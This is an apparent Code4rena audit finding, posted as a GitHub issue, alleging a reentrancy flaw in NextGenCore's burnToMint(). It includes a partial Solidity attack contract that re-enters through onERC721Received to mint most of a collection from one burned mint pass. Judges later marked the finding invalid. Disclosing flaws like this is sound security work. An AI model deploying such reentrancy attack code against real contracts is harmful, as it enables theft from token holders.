code-423n4 / 2023-10-nextgen-findings

5 stars 3 forks source link

Any contract address can re-enter the ' burnToMint() ' function to mint arbitrary number of NFTs by burning only a single token #1319

Closed c4-submissions closed 10 months ago

c4-submissions commented 11 months ago

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/NextGenCore.sol#L213-L223

Vulnerability details

Impact

burnToMint() function in NextGenCore contract does not follow the recommended CEI pattern which allows Contract addresses to re-enter using the onERC721Received() hook and mint arbitrary number of NFTs by burning only a single token.

This can lead to a single address accumulating majority of the totalSupply by burning a single mint pass. This can result in financial losses for other users who may have spent funds to acquire such mint pass.

Proof of Concept

Likelihood: High Impact : High contract : NextGenCore

In NFT projects it is common to sell NFTs that act as mint passes for another upcoming NFT collection.

NextGen protocol uses the burnToMint() function to perform a similar operation.

_mintProcessing(mintIndex, ownerOf(_tokenId), tokenData[_tokenId], _mintCollectionID, _saltfun_o);   // external call       

_burn(_tokenId);                                                                                            
 burnAmount[_burnCollectionID] = burnAmount[_burnCollectionID] + 1;

But the burnToMint() function in the NextGenCore contract does not follow the Checks-Effects-Interaction pattern which allows a malicious account to burn a single approved NFT to mint arbitrary number of NFTs in the new collection until the total supply of the collection is exhausted.

Lets prove this with a case study

Assume NextGen plans to release their main collection 2 in a month later, but in preparation they want to raise funds by selling collection 1 to interested users.

NextGen sells a total of 1000 NFTs from collection 1 for fixed price of 0.1 ether.

So that collection 2 can be minted by burning collection 1 in 1:1 ratio.

Lets say, The demand for collection 2 is very high in the market and each mint pass ( i.e, collection 1) is selling for 1 ETH each.

Adam = Attacker Adam notices the reentrancy vulnerability present in the burnToMint() function. And observes the profitable situation in the market.

When the time comes to mint, he attacks the system by minting majority of the collection 2 NFTs by burning just a single mint pass. He then proceeds to sell all the minted collection 2 NFTs in the market making a massive profit.

While the rest of the mint pass holders are not able to get their ' guaranteed ' mints as the total supply was already exhausted by Adam.

Step 1

function initiateAttack() external {
        // Initiate call to the target contract
        console.log("Initiating attack on :", address(minterContract));

        minterContract.burnToMint (1, // _burnCollectionID (i.e, collection 1)
                                         10000000420, // Adam's mintpass _tokenID
                                         2, // _mintCollectionID )
    }

Step 2

function onERC721Received(address, address, uint256, bytes calldata) external returns (bytes4) {
        _reentrancyCallback();
        return this.onERC721Received.selector;
    } 

Step 3

function _reentrancyCallback() internal  {

        if (reenter) {
            // Execute attack
            _executeAttack();

        } else if (!reenter) {
            // Already ran the attack once
            console.log(">>> House clear <<< ");
        } 
    }

Step 4

function _executeAttack() internal  {
     (,,,uint256 totalSupply) = genCore.retrieveCollectionAdditionalData(1);

    if(genCore.viewCirSupply(2) < totalSupply) {  
        ++ count;
        console.log("Reentry count : ", count );      

            // repeated entries            
        minterContract.burnToMint(1, // _burnCollectionID (i.e, collection 1)
                                         10000000420, // Adam's mintpass _tokenID
                                         2, // _mintCollectionID )
     } else {
        reenter = false;
        console.log("\n>>>Attack completed ");
        console.log("Attacker NFT balance after Attack ", genCore.balanceOf(address(this)) );  
     }
    }

The above PoC shows Adam (attacker) ends up with majority of the collection 2 NFTs by burning just a single collection 1 mintpass.

Resulting in

  1. making the other unused mint passes worthless.
  2. Leading to loss of funds for users who spent funds in acquiring such mint passes.
  3. centralised token distrubution
  4. Loss of trust and legitamacy of the protocol.

Tools Used

Foundry, Manual Analysis.

Recommended Mitigation Steps

Use a ReEntrancy Guard. Follow CEI pattern. Burn the mint pass NFT before making the external call to mint a new collection.

Assessed type

Reentrancy

c4-pre-sort commented 11 months ago

141345 marked the issue as duplicate of #51

c4-pre-sort commented 10 months ago

141345 marked the issue as duplicate of #1742

c4-judge commented 10 months ago

alex-ppg marked the issue as not a duplicate

c4-judge commented 10 months ago

alex-ppg marked the issue as duplicate of #90

c4-judge commented 10 months ago

alex-ppg marked the issue as unsatisfactory: Invalid